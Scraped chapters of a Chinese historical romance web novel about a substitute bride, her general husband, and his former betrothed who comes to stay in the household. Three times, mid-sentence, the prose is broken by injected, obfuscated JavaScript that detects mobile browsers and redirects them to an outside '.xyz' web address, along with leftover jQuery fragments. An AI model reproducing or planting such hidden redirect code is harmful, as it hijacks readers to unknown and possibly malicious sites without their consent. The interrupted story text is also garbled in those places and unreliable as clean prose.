“咳咳,”温尚达被看穿了心中所想,有些心虚,转而又神色凝重道,“不过,此事毕竟是侯府家事,家丑不可外扬,还望少将军切勿传扬出去,老夫在此谢过了。” 萧丞原轻轻颔首,并未应声。 温尚达突然灵光一现,叫了管事进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041528|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来耳语一番。 很快,来了几个下人,一连搬来了五口箱子。 “这便是先前与少将军定下的见面礼,只是一些金银细软并滋补物品,还请笑纳,望少将军与轻竹往后过得和和美美。” “多谢侯爷,如此,在下便只好却之不恭了。”萧丞原拱手,给了他一颗定心丸,“侯爷放心,两府既然结为姻亲,自然一荣俱荣,一损俱损,在下定会谨记侯爷嘱托。” 他今日来安定侯府,见了温轻竹险些被恶奴欺负的场景,便知晓这些年她在侯府过的什么日子,心里泛起一丝涟漪。不知怎的,竟萌生了想为她讨回些什么的想法,他当即便与温尚达委婉地提了提见面礼之事。 饭桌上那些看似亲昵的举动,都是为了顺理成章地在众人面前向安定侯再提一提此事,以免对方反悔。若无后面这些风波,恐怕还讨不到这么多东西。 两人辞别了温尚达,带着五箱见面礼往将军府赶。 马车启程,萧丞原瞧着渐渐远离的侯府,若有所思道:“日后若无要紧的事,还是少蹚安定侯府这趟浑水。” “知道了。”温轻竹闷闷道。 她也想与安定侯府斩断联系,可李嬷嬷却说暂时不能离开侯府,这令她很是苦恼。 此时已日近黄昏,夕阳的余晖洒下,给远处的群山镀上一层金光,时而有晚归的鸟儿吟唱着归巢。 集市上叫卖声已然少了很多,各人正在准备收摊回家。 人间烟火气无不美好。 可这辆奔走在集市上的马车,像是隔绝了外界的一切。 远离了安定侯府众人,二人也卸去了所有伪装,不必在旁人面前扮演恩爱夫妻,便各种安静下来,没有继续交流的想法。 两人同处于这么狭小的空间,温轻竹尽量忽略那种不适感,掀开车窗,时不时向外看,想一睹外面的热闹。可越是想要强行忽略,越是能感知到另一个人的存在。 萧丞原同样如此,他起初还佯作闭目养神,可她时而开窗,时而动一下身子,简直让他心神不宁。 两人都感觉别扭极了,但又不得不忍受着,好不容易将军府到了,甫一停下,二人便一前一后下了马车,各自分别,去做自己的事情了。 见萧丞原并未处置那几口箱子,温轻竹到底还是停下道:“牧方,将我父亲送的见面礼存进库房。” “是,少夫人。” “姑娘,今日可算是狠狠坑了侯府一把。”玉露高兴地手舞足蹈,随即又连忙“呸”道,“不是,奴婢说错话了,这些本就是姑娘您应得的。” 这些年姑娘过的什么日子她也看在眼里,这些金银财宝哪里抵得上姑娘在侯府受的欺凌呢?不过这下好了,往后再也不用受那些气了。 “看来少将军对姑娘挺上心的嘛,以后姑娘的日子会越来越好的。”她已经开始畅想以后的好日子了。 上心?温轻竹瞧着牧方指挥下人搬东西,心中却是一凛,经过今日发生的这些事情,他怕是会对自己替嫁之事有所察觉。万一他查到什么,以后的日子只会越来越难。 温轻竹并没有将这些说出来,只是想到一个人,神情落寞道:“可是嬷嬷还在侯府受苦。” “想必李嬷嬷有她自己的打算,待她想通了便会来找姑娘的。”玉露宽慰道。 其实她也很不理解,明明走的时候姑娘和少将军说好了,向安定侯府讨要李嬷嬷,可李嬷嬷却坚持要留在侯府,说什么也不愿随姑娘走,只道姑娘过得好便好。 也许,在李嬷嬷看来,留在安定侯府对姑娘更有益处吧。 玉露看着将军府逐渐亮起的灯,道:“天快黑了,姑娘早些进屋歇息吧。” 11. 表姑娘 书房。 萧丞原连着翻看了好几本书,依然毫无头绪。 从安定侯府回来后,他心里一直乱糟糟的,虽然温轻竹早已说过与他定亲之人是她,只不过自小体弱多病,旁人不知晓安定侯还有她这么个女儿,可今日在侯府听到的那些,也未必是假的。所谓无风不起浪,他这位夫人到底隐藏了什么? 他向来讨厌欺瞒,若她真的有事瞒着自己,定是有苦衷的,待他查明后也未必不可网开一面。 到底是自己的夫人,他愿意给她一个解释的机会。 思及此,萧丞原书也不看了,问道:“牧方,她是否派人来过?” “没有。”牧方摇摇头,又觑着他的脸色,小心翼翼道,“少夫人和您是不是闹了别扭?” “这姑娘家要多哄哄,少将军您别总是板着一张脸,让人望而生畏,也就同您亲近不起来了。” “你知道什么?”萧丞原简直要被气笑了。 今日发生了那么多事,可在回来的路上,她竟一句话也没说,只管看了一路窗外的景色。 明明是她先冷落自己的,他才一下马车就来了书房,怎么现在反而成了他的错了? 萧丞原憋着一口气,道:“你去与少夫人说,我今晚宿在书房。” “是。” 不一会儿,牧方便回来了。 “她说了怎么?”萧丞原隐约有点期待。 搁在平日里,温轻竹必定会劝他书房床榻冷硬,不利于养伤,甚至亲自来为他送碗滋补的汤。 可,牧方回道:“少夫人说,她知道了,待会儿便为少将军添两床被子。” “她果真这样说的?”萧丞原气得将桌上写废的纸张揉成一团,扔了出去,“好,真是好得很!” “少将军,动气伤身,您别多想,少夫人她这是担心您睡不好呢。” 真是如此便好了,看来她早就巴不得自己搬出去,先前对他那般尽心尽力,眼下见他伤势稍微好了一些,便看都不看一眼了。 今日的事,她难道不该给自己一个解释吗? 不多时,玉露便带着两个丫鬟抱了被子来。 “少将军,姑娘说夜深露重,希望您保重身体,早点歇息。” 萧丞原看着铺好的床铺,还是没忍住问了一句:“你家姑娘呢?她怎么不过来?” 玉露回道:“姑娘今日回门受了风寒,怕将病气过给了您,眼下已经睡下了。” 她是按照温轻竹的叮嘱回的,想来应是没有错漏。一抬头,便看见后面的牧方在挤眉弄眼,她不知何意,连忙低下头,怕少将军看出异样。 “知道了,回去吧。”萧丞原心情好多了,语气和缓道,“照顾好你家姑娘。” 原来她没有过来,是怕将病气过给了自己。如今他伤好了大半,换药之事自己也可勉强为之,倒也不必非得让她来做。 玉露走后,牧方连忙道:“我就说吧,少夫人还是关心您的。” 萧丞原没有接话,而是道:“你方才去的时候,看见她了吗?她看起来怎么样?” “这……隔着帘子,小的看不真切。”牧方思索了几秒,肯定道,“不过少夫人语气确实有些虚弱。” “让厨房炖一碗冰糖雪梨。”萧丞原吩咐道,想了想,又加上一句,“别说是我安排的。” “为什么呀?少将军。”牧方不解道。 萧丞原硬邦邦道:“没必要。” 他在战场上杀敌数载,也曾被人算计过,练就了一副冷硬的心肠,习惯了就不会袒露自己的心,否则就是将自己的筹码毫无保留地暴露在别人眼前。身为将军,他更擅长把一切不确定因素,牢牢掌控在自己手中。 牧方一边腹诽着,少将军真是面冷心热,一边出去吩咐下人了。 温轻竹喝着那碗冰糖雪梨,看向玉露道:“少将军他没有起疑吧?” “没有没有,奴婢都是按姑娘说的那样回的。” “那就好。”温轻竹放下心来。 从安定侯府回来,她原以为在马车上萧丞原便会问些什么,没想到他只是让她没事不要回侯府,其余的什么都没说。 可她知晓,这并不代表他心里没有想什么。为了暂时打消疑虑,她这段时日还是先不要与他共处一室的好,正好他今晚去了书房,她便顺势装病。如此,时日一久,事情多了,他可能便想不起来关于自己的事情了。 -- 一连几日,萧丞原都宿在书房,两人只有用饭时碰面,在将军夫人吴雪离面前自然是如往常一样。 只是吴雪离不说什么,温轻竹隐约感到她似乎对两人的相处模式不大满意。而萧丞原总是面色冷淡,如今又鲜少碰面,两人更是说不上什么话。 温轻竹知道,装病毕竟不是长久之计,这样躲避问题不是办法,而且若是被拆穿装病这事,只会让他更厌恶自己,她还是得做些什么让两人的关系回暖。 可她还没有来得及行动,将军府就来了一位不速之客。 这日,天气极好,阳光照在身上无比惬意,温轻竹坐在秋千上,旁边小桌子上放着一碟水果,时而荡会儿秋千,时而吃点水果,十分悠闲自在。 玉露匆匆跑过来,嘴里嚷道:“不好了,姑娘,将军府来客人了!” “瞧你这出息,来个客人便大呼小叫的。”温轻竹嗔道。 玉露连连摆手:“不是,姑娘,来的是个年轻女子……” 女子?温轻竹的笑容凝固在脸上。 嫁入将军府后,她才知晓,传闻不可尽信,萧丞原是战场上闻风丧胆的杀神不假,可他连个通房都没有,身边服侍的皆是男子,似乎并不像传闻中以折腾欺辱女子为乐的残酷之人。 那么,这个时候能来将军府做客的女子,恐怕与他干系不浅。 “府上既是来了客人,我岂有闭门不见的道理。”温轻竹整理了下妆容,说道,“玉露,我们走吧。” 到了大厅,萧鸿晟与吴雪离已经到了,两人俱是面色凝重,而萧怀雁正与那一身素衣的女子说着什么,而那女子正用手绢擦拭着眼角,时而点点头,二人极为熟稔的样子。 温轻竹心里咯噔一下,极力露出温婉的笑容,“父亲,母亲,家里来了客人,怎么不通知我呢?” “轻竹啊,这位是你父亲远房亲戚的女儿,崔怜霜。”吴雪离神色不太自然,甚至有那么一丝尴尬,顿了顿,又道,“霜儿是个可怜的孩子,如今家里出了事,无处可去,就暂时留她在将军府小住吧。” 温轻竹瞥了眼那肩膀不住起伏,开始小声抽泣的女子,心中便有了猜测,但面上神色如常,说道:“母亲安排便是,儿媳没有异议。” 吴雪离面上一喜,朝崔怜霜道:“霜儿,还不谢过你表嫂。” 那素衣女子终于止住了啜泣声,缓缓抬起头来,那巴掌大的小脸上此时蜿蜒着两道泪痕,一双眼睛也肿得核桃似的,可谓是我见犹怜,任谁见了都会忍不住安慰她。 崔怜霜起身,朝着温轻竹施施然行了一礼,“怜霜见过表嫂。” “来者是客,崔姑娘快请坐吧。”温轻竹颔首,询问的目光看向公婆,“不知崔姑娘家发生了何事?” “唉,说来话长了。”吴雪离一声声叹着气,,“霜儿原本也生活在一个幸福美满的家庭,自幼便知书达礼,举止投足不输长安城世家贵女,自小便与原儿青梅竹马,二人自小便订下……” “咳咳……”萧鸿晟一阵咳嗽声,打断了吴雪离的话。 “要不说这孩子命苦呢,”吴雪离含糊带过方才的话,语调看似伤感了几分,“前两年,霜儿的父亲在生意上如日中天,遭人嫉妒,一家人探亲路上遇上埋伏,连人带车踪影全无,经营十几年的铺子也易了主,真是为他人做嫁衣……” “我和你父亲为此感叹许久,料想崔家人全都遭遇不测了,没想到今日寅时小厮一开门,竟发现倒门口的霜儿,也算是上苍怜惜,为崔家留了条性命,就是苦了霜儿了……” “表舅母。”崔怜霜哽着唤了一声,竟难以说出完整的句子,只不住地抽泣着。 温轻竹从吴雪离的话语中,已经将崔怜霜留在将军府的用意了解得七七八八了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041529|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 很显然,崔怜霜曾和萧丞原有过婚约,而萧鸿晟和吴雪离也很满意她,只是突发变故,再加上温紫衣来这么一出,阴差阳错之下,她与萧丞原成了夫妻。 不过崔怜霜这事属实有些蹊跷,倘若真如她所言那般,一家人都遭遇劫匪,车毁人亡,她一个弱质女流是怎么活下来的,还能好端端的寻到将军府? 这个时候寻来,处境何其尴尬,恐怕她也知晓,但仍旧坚持留下,当真是对萧丞原一往情深啊。 念及公婆对崔怜霜的态度,温轻竹并未表露出什么,只是道:“崔家妹妹可怜,是该多照拂一二。” “多谢表嫂。”崔怜霜连才流出的泪水都顾不上擦,红着眼睛,又向温轻竹行了一礼。 “霜儿不必客气,”吴雪离接话,欣慰地看了眼儿媳,又命丫鬟扶着崔怜霜坐下,“你身子骨弱,该坐下歇息,往后你把将军府当自己家就成。” 先前她还以为温轻竹对留下崔怜霜有异议,没想到这个儿媳如此通情达理,原儿真是娶对人了。只是可惜了霜儿,若不是当初的变故,恐怕她也早已是将军府的人了。 如今霜儿这等处境,留在将军府也着实尴尬,可她与萧鸿晟实在是对其满意得不得了,留她小住一阵,再从长计议也未尝不可。再说了,霜儿这孩子也是她看着长大的,流落在外到底不放心,即便是与将军府无缘,日后为她寻一门好亲事,也权当是告慰她父母的在天之灵了。 “表舅,表舅母,你们对霜儿的好,霜儿无以为报。”崔怜霜再次起身,朝着二人行了个大礼,“霜儿自知愚钝拙笨,愿为奴为婢,只求你们不要赶我走。” 说罢,又抬起衣袖擦了擦眼泪。 二人还未应答,萧怀雁就坐不住了:“这话说的,就和我们见外了,霜姐姐你是什么样的人我还不清楚吗?你只管住下,这将军府谁敢对你不敬便是和我过不去!” “怀雁弟弟,你真好。”崔怜霜柔声应道,“你还是和小时候一样善良。” 萧怀雁不好意思地挺起胸膛,却是不再言语了。 吴雪离微笑指着他们道:“将军,你瞧,他们姐弟相处这么好,我们也可以放心了。” 萧鸿晟颔首,想到什么,又叹了口气。 “原儿和霜儿自小相识,想必他也会善待霜儿的。”吴雪离知晓将军在想什么,犹豫开口道。 不过她也不是很确定。 毕竟这个儿子向来一副喜怒不形于色的模样,就连成亲那日也不见喜色。原以为,时日久了,他们小夫妻会渐渐熟稔起来,琴瑟和鸣。可自从回门后,夫妻俩就一直分房睡,虽说儿媳是染了风寒,可也不至于见面没两句话吧。为人父母的,总会忧心儿女,她总觉得,这样下去也不是个法子。 霜儿出现的时机倒也有几分凑巧,如若她能化解这对小两口间的僵局那就再好不过了。如若不能,就是不知道二人这昔日的情谊,能否让霜儿…… 眼看着自己就像和局外人般,杵在这里亦是无益,温轻竹开口道:“父亲,母亲,我还有事,就先告退了。” 她的话语打断了吴雪离的思绪。 吴雪离终于回过神来,问了句:“你可还在用药?” “回母亲,大夫说了,已经好得差不多了,今日便可停药。”温轻竹回道。 她已经想通了,经过了这段时日,萧丞原从未问起过那日温紫衣所言是真是假,更没有质疑过她的身世,每日见面也如往常一样,想必是她思虑过度了,也许人家压根就没想那么复杂。那么,她就还是安定侯府嫡女,是将军府明媒正娶的少夫人。 不论怎样,两人还是得将日子过下去,那么就没有必要再“病”下去了。她还是要多熟悉萧丞原身边的人和事,努力做好这个少夫人。 倘若真有被拆穿的那一日,凭借她往日的作为,也不至于下场凄惨。 “那就好,”吴雪离稍微定下心来,“有时间还是要多与原儿相处,可别生分了感情。” “轻竹晓得。” 温轻竹带着玉露往回走,并未理会身后那道探究的目光。 12. 糕点 “真是气死人了!” 玉露一回到东院,就抱怨了起来,口中喋喋不休:“我看那表姑娘来者不善,就不是什么好人,装得可怜兮兮的,让将军和夫人心生怜悯,指不定要在将军府住多久呢。” 温轻竹在侍弄花草,正不紧不慢地为月季花修枝剪叶,听到玉露所言,也并未做出什么反应。 “姑娘,你在听吗?”玉露没法,只好伸出一只手在自家姑娘面前晃了下,“都火烧眉毛了,姑娘怎么还有此等闲情逸致啊!” 闻言,温轻竹这才放下剪刀,问道:“你觉得这月季和方才有何不同之处?” “经过修剪之后,虽少了些枝叶,但不久后想必花会开得更盛。”玉露看着月季,脱口而出,随即想起先前的话题,急道,“可是姑娘,都这个时候了还关心月季开得如何吗?” 温轻竹道:“修剪花草如此,做人做事亦当如此。很多事情,都需要有计划,身在局中,往往会蒙蔽双眼,也许在当下看来落于下乘的一方,可在不久的将来未必不能以一颗石子掀起波澜。” “姑娘说的有理。”玉露挠挠头,她好像听懂了姑娘的话,又好像没懂。不过经过姑娘这么一说,她好像也没那么急躁了。 “走吧,进屋慢慢说。” 毕竟才入将军府,一应事务还不熟悉,言行举止皆要注意,不可被人寻了错处。 “玉露,李嬷嬷不在身边,我只有你一个。”温轻竹盯着玉露,认真道,“我们是从小一起长大的,我自是把你当作姐妹。” “姑娘,奴婢都知道。” 温轻竹又补充道:“所以你一定要保护好自己,不要被人挑了错处。” “是奴婢鲁莽了。”玉露低头,随即又忿忿不平道,“可是,奴婢就是为姑娘不值,姑娘才嫁进来几日,将军府就收留了个一身疑点的表姑娘,摆明了是没把姑娘放在眼里。平日里将军和夫人对姑娘再好也是客套,对这表姑娘却是实打实的亲近爱护。姑娘多好的人呐,他们竟这样不识货,早知道就不答应大姑娘替嫁……” “嘘,快别说了。”温轻竹急得去捂玉露的嘴巴,“事已至此,只当没有这回事,往后可不许再提‘替嫁’二字了。” 玉露连忙点了点头,示意她松开。 而温轻竹继续道:“至于这位崔姑娘,来者是客,亦是府里的主子,不可失礼。再者,她既然与将军府早有渊源,将军和夫人待她好也是情理之中。至于她的目的,暂且看看吧,先不要妄加揣测。” 眼下,若要在将军府彻底立足,她还是先想想如何讨好萧丞原最为紧要。其他的人和事,暂且走一步看一步吧。 日近黄昏,太阳已不是那么强烈刺眼,温轻竹打开窗户发了会呆,转身道:“你去书房看看少将军回来没。” “是,姑娘!奴婢一定将少将军请回来!”玉露欢喜道,一溜烟就跑没影了。 她知道姑娘是把自己说的这番话听进去了。 不一会儿,玉露有些失望地回来了,“姑娘,少将军他不在书房,就连牧方似乎也不在府里。” “有下人说,少将军这几日总是去军营,一直到掌灯时才回来。” “知道了,那就再等等。”温轻竹说道。 不过,她也不能干等着,还是得做点什么。 以前在安定侯府日子不好过,奴仆欺压,时常缺衣少食,也因此,她学会了自食其力。她们不给衣裳,她便攒了月例银子买便宜布料裁衣穿;她们不给吃食,她便趁没人的时候悄悄去厨房自己做吃食……以至于到后来,连李嬷嬷都夸她的各项手艺都是一绝,只是夸完后,总是神色黯然,默默坐在那发呆,也不知在想些什么。 -- 一盏茶后,将军府厨房。 “姑娘,您真要自己做枣泥糕吗?”玉露瞧着偌大的厨房里,姑娘一个人忙忙碌碌的身影,不由劝道,“如今到了将军府,不是昔日在侯府那般处境,您其实不必事事亲力亲为的。” 她是心疼姑娘,从小因自个儿身世不明,在安定侯府吃尽了苦头,那群下人拜高踩低,什么事都得自己来,这不好容易脱离苦海,将军及夫人待人和善,对姑娘也很好,实在不用还这般操劳。 温轻竹手上动作未停,只摇了摇头:“旁人给你的都是有条件有期限的,凡事还是要靠自己。” 她能在将军府被善待,前提条件是,她是安定侯府嫡女,可万一哪日身份暴露,她又该是何种处境呢? 见玉露还是那副懵懂模样,温轻竹又道:“你以后就懂了。” “好吧,姑娘说的都对。”玉露应声道,她相信姑娘一定有自己的道理,说着便走了过来,“我来帮姑娘。” 于是主仆俩在厨房忙碌了大半个时辰,总算把枣泥糕做好了。 “姑娘手真巧!”看着新鲜出炉的枣泥糕,玉露忍不住夸道,眼睛一瞬不瞬地盯着碟子里精致的糕点。 温轻竹看一眼就知道怎么回事了,笑道:“就知道你馋,给你留了,快尝尝好不好吃。” 说着,就把蒸笼里剩下的几个拿了出来。 “姑娘真好!”玉露迫不及待地伸手去拿糕点,却不防被烫到了,手一下子缩回去,“哎哟。” 温轻竹噗嗤一笑:“慢点儿,没人抢你的。” 玉露很快吃完了那几块枣泥糕,便和自家姑娘一同去找少将军。 才出厨房,便碰到了赵管家,后者连忙见礼:“见过少夫人。” “少将军回府了吗?”温轻竹看了眼玉露手中的食盒,“哦,我方才做了些糕点,准备给少将军送去。” “回来了,回来了,少将军这会儿在书房呢,少夫人当真是心灵手巧啊。”赵管家回道。 眼看着主仆俩走远了,他仍站在原地自言自语:“没听说侯府千金会下厨啊。” “赵叔,你一个人在嘀咕什么呢?” 突然出现一道声音,赵管家反应过来,看向来人,笑道:“没什么,嘿嘿,我这不是晌午吃少了饿了吗,想来厨房找点吃的。” “牧方,你小子刚才可真是把我吓了一大跳。” 牧方倚着柱子,随口道:“我这不是无聊出来转转吗?崔姑娘去找少将军了,我也不好杵在那不是。” “哦哦,那我去找吃的了。” 赵管家走了几步,想起什么,又拍了牧方肩膀一下,“你刚说什么?” 牧方不以为意道:“崔姑娘去找少将军了啊。” “什……什么?”赵管家急得直拍手,看了看四周,凑近牧方小声道,“你知不知道,这位崔姑娘曾和少将军订过亲?” “听说过,怎么了?”牧方挠了挠头,不解道。 赵管家敲了敲牧方这颗榆木脑袋:“少将军和少夫人已经成亲了啊!” “哎,疼!赵叔,你打我干嘛?”牧方揉揉脑袋,委屈道,“那都过去多少年的事了。” “可是少夫人刚也去书房找少将军了,还给少将军做了糕点。”赵管家叹了口气,幽幽道,“你说,她们两个要是撞上会怎样?” “糟了!” 牧方一溜烟就跑没影了。 “还是年轻好啊,不像我这把老骨头,干啥都没劲。”赵管家捋了捋胡须,而后想起自己过来的目的,慢腾腾挪向厨房。 -- “姑娘,要我说您之前就不应该装病和少将军分房睡。” 在去书房的路上,玉露仍旧喋喋不休。 温轻竹走在前面,边走边想今后的计划,没有注意她说了什么,只是越走越快。 “哪有新婚夫妻分开睡的,听说这样不利于培养感情。”玉露说着说着,发现自家姑娘已经走远了,不得不小跑跟上,并提高了音量,“姑娘,你到底有没有听我说啊?” 温轻竹放缓脚步,随口应了声:“嗯,快走吧。” 她自小在安定侯府长大,虽没有亲生父母教养,李嬷嬷也教会了她很多道理。她知道,这桩婚事,无论她或者萧丞原愿不愿意,终究已成既定的事实,若想在将军府立足,她有必要尽一尽应尽的义务,起码首先要让萧丞原不那么排斥自己。 而这枣泥糕,正是她计划中拉进二人关系的第一步。 离书房越近,萧丞原那冷肃凶狠的模样越清晰,温轻竹的心怦怦直跳,她不由握紧了双手,心里默默为自己加油鼓气。 书房已点起了蜡烛,想必他定在研读兵书吧。温轻竹想着,努力扬起了唇,尽量让这个笑容看起来自然些,而不是费力挤出来的。 直到—— “少夫人,您不能进去!” 牧方气喘吁吁地赶来阻拦道。 玉露扭头,一手拎着食盒,一手指着牧方,生气道:“为何呀?这枣泥糕可是姑娘辛辛苦苦忙活了好久做成的,你别拦着姑娘见少将军!” “这个……那个……”牧方转了转眼珠,道,“少将军此刻不方便!” 他总不能实话实说,告诉少夫人,少将军在见曾经有过婚约的表姑娘吧! “有什么不方便?”玉露拿累了,索性把食盒递给牧方,继续追问道,“我家姑娘与少将军是夫妻,夫妻之间还有什么不方便的?莫非这里面有什么猫腻?” “当然不是!”牧方顿了顿,破罐子破摔道,“少将军在沐浴!” 他在心里默默祈祷,少将军啊,小的只能帮到这里了,您自己多保重!如果少夫人硬要进去,他也没有办法。 虽说此时尚早,甚至还未到晚食的时候,不过对于习武之人而言,爱好洁净、时常清洗倒也合理。 温轻竹想到这些,脸颊微热,当下做了决定,指了指旁边:“那便在这亭子里等一会儿吧。” “那……也好,”牧方慌忙往后退了几步,尽量离她们远一点,“那小的就在这里陪少夫人等。” 他是真怕一会撞上什么,少夫人首先会怪罪自己。 “哼。”玉露看他那怂样就没好气,狠狠瞪了他一眼。 正在说话的工夫,只见从书房跑出个女子,离得不算远,甚至能看到她正在挥袖拭泪,不过她神情落寞,走得又快,自是没有注意到亭子里的人。 这不是崔怜霜又是谁? 等对方走远了,玉露这才出声斥道:“好你个牧方,竟然欺瞒少夫人!”说着,作势就要去打牧方。 “玉露!”温轻竹出声制止,从牧方手里拿过食盒,语气异常平静,“走,我们去看少将军。” “姑娘,你是不是生气了?”玉露试探道。 “都怪那牧方,方才他百般阻拦,我就知道准没好事。” 再回头看时,牧方早已不知所踪。 “下次别让我逮到他。”玉露仍在不住地说着,言语中显然还未解气。 “我没事。”温轻竹勉强挤出一丝笑容,只是心里闷闷的,她握起玉露的手,说道,“你是我带来的丫鬟,我知道你是为我出气,以后可别那么莽撞了,平白让人看了笑话。” 书房里,萧丞原正在看兵书。 他今日一早就去了军营,自是不知道家中发生了何事。直到刚刚,崔怜霜莫名其妙来书房找他,他才知晓,这位远房表姑娘身世坎坷,如今就借住在将军府。 父亲和母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041530|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲向来宽厚善良,收留一个远房亲戚倒也没什么。只是,这崔怜霜说完自身遭遇后,又突然提起二人幼时家中曾订下口头婚约。他只说了句,当初不懂事,所谓的婚约自是做不得数,更何况自己已经娶妻,便令崔怜霜哭着跑了出去。 他自小在军营长大,身边也都是男人,自然不懂得女子弯弯绕绕的心思,当下只觉得麻烦,看着兵书,眉头皱成一团。 正在这时,忽然又听到有人都近的声音,想都没想便冷声道:“去而复返,还有何事?” “少将军,是我。” 萧丞原看清来人,顿时不自在地把书放在一边,一时竟想不起该说什么。 温轻竹走近几步,把食盒放下,拿出了那碟枣泥糕,说道:“听说少将军今日一整天都在军营操劳,定是没好好用饭,我做了些糕点,你快尝尝。” “先放着吧。”萧丞原放下兵书,淡淡开口道,“马上就要用晚食了。” 他向来不怎么吃糕点,总觉得这些甜食是女子爱吃的,于他身份似乎并不相衬。 “也是,那少将军可记得趁热吃。”温轻竹说完,便带着玉露走了。 果然,要想让一个本就对自己有成见的人卸下心防,真的很难。 “姑娘,就这么走了?”玉露跟在后面,仍旧一步三回头,“你就不问问表姑娘的事吗?” 除此之外,她还怕姑娘亲手做的糕点浪费了,那么好吃的枣泥糕,她还没吃够呢。 “没什么好问的。”温轻竹心里不大舒服,没有注意玉露的举动,只是缓了缓,闷声说道,“她是将军府的客人。” 况且,他们有自小相识的情谊,自己怎么比得了呢?她今日来,只是想缓和与萧丞原之间的关系,没想到会碰巧撞上这事,连他身边的牧方都为两人撒谎遮掩,她怎能再去计较,平白增添他对自己的厌恶。 温轻竹离去后,萧丞原盯着那碟枣泥糕发呆。 经过这些时日,他潜意识里觉得,温轻竹和她那老奸巨猾的爹安定侯不太一样。可他到底还是没弄清楚,安定侯府主动与将军府结亲的意图,是以,他对温轻竹仍持有保留态度。 这几日,因温轻竹风寒未愈,他没什么机会来试探她,看来今晚有必要搬回主屋了。 “少将军,这可是少夫人亲手做的,听说忙活了好久呢。” 正思量着,牧方走了进来。 “是吗?”萧丞原这会儿倒是被勾起了兴趣,随口问道,“她经常自己下厨吗?” “可不是嘛,听玉露说少夫人厨艺可好了。”牧方一边说着话,一边走近几步,看着萧丞原的脸色道,“少将军您要是不吃的话……” 萧丞原已经拿起了一块枣泥糕:“既然是她亲手做的,自然不能辜负了她的一番心意。” 牧方就这么看着少将军一块接一块,吃完了糕点。 “还有事吗?”萧丞原发觉牧方举止畏缩,眼神闪躲,锐利的目光紧盯着他问道。 “没……没事。”牧方眼看要瞒不下去了,连忙低着点头,声如蚊呐,“少将军,属下对不住您……” 接着便一五一十将先前怎么撒谎欺骗温轻竹,又怎么没拦住,撞见表姑娘出来的细节一一交代清楚了。 “谁让你自作主张的?”萧丞原蹙眉道,简直对牧方这个多管闲事的下属无话可说了。 难怪方才她的神情不大自然,而他竟也没有及时发觉,原来还有这么一出。 “罚你一个月的月例,自己去赵管家处领罚。” “是,少将军。”牧方有气无力道。 “还有,”已经走到门口的萧丞原,又想起什么,回头竖起食指点了点,“明日随我一同去军营历练一天。” 牧方想到军营的训练强度,不由瑟缩一下,“少将军,您就饶了我吧,我再也不敢了!” 萧丞原听着身后传来的求饶声,并未理会,大步朝主屋走去。 “你家姑娘呢?”萧丞原瞧见玉露在干活,便问道。 玉露自顾自擦着桌子,没好气道:“姑娘已经歇下了。” 要是往常,看见少将军来找姑娘,她定是欢喜的,可今日看见那种场景,多少为姑娘感到不值,因而连带着也不想搭理他。 萧丞原没太在意,径直去了里屋,却见烛火微明,娇艳明丽的少女已换了中衣,正披发坐在窗前欣赏月色。 “你做的糕点,很好吃。” 听到这句话,温轻竹才回过神来,连忙道:“少将军喜欢就好。” 看来她做的糕点没有浪费,温轻竹心里感觉稍微好受点。 “今日的事……”萧丞原犹豫着措辞,准备开口解释。 “少将军不必说了,轻竹都知道。”温轻竹已知晓他们二人关系匪浅,生怕听到不想听的话,便快速打断了他,起身关了窗,接着道,“我有些困了,少将军也早日歇息吧。” 萧丞原看了她一眼,应道:“好。” 还是依照先前的习惯,温轻竹去睡了床,萧丞原清洗过后自然躺在了榻上。 只是刚躺下,丫鬟便在外间说该用晚食了,萧丞原吃过枣泥糕自是不饿的,操劳一天他也累了。往床上看了眼,想着要不要叫温轻竹用饭,却见她已闭紧了双眼,只好对外回绝了。 不知何时,外面的走动声、说话声渐渐停了下来,温轻竹闭着眼睛,却始终难以入眠,也不知是不是时隔几日萧丞原回房睡,让她感到不太适应。 她想了很多事,脑海里一会浮现李嬷嬷的身影,一会又是骆宜秋母女说的话,思绪复杂,迷蒙中也不知何时睡着的,自是一夜无梦。 13. 请求 夜里刚下过一场雨,地上湿漉漉的,府里的下人在扫昨晚被狂风暴雨吹散打落的枝叶和花瓣,一时间都是扫帚扫过地面的唰唰声。 温轻竹倚在门前看众人忙碌。 “姑娘今日怎么起得这样早?”玉露拿了件披风,准备给自家姑娘穿上。 “不用了,我不冷。”温轻竹拂了下披风,转身看向玉露,“我只是想起了在侯府的日子。” 时值初夏,晨起偶有凉风吹过,并不觉得多冷,丝丝凉意反而能吹散些许心间的愁绪。 玉露收起了披风,在手中叠好,递给了别的丫鬟,“姑娘,过去了就不要再想了,咱们现在日子好过着呢。” 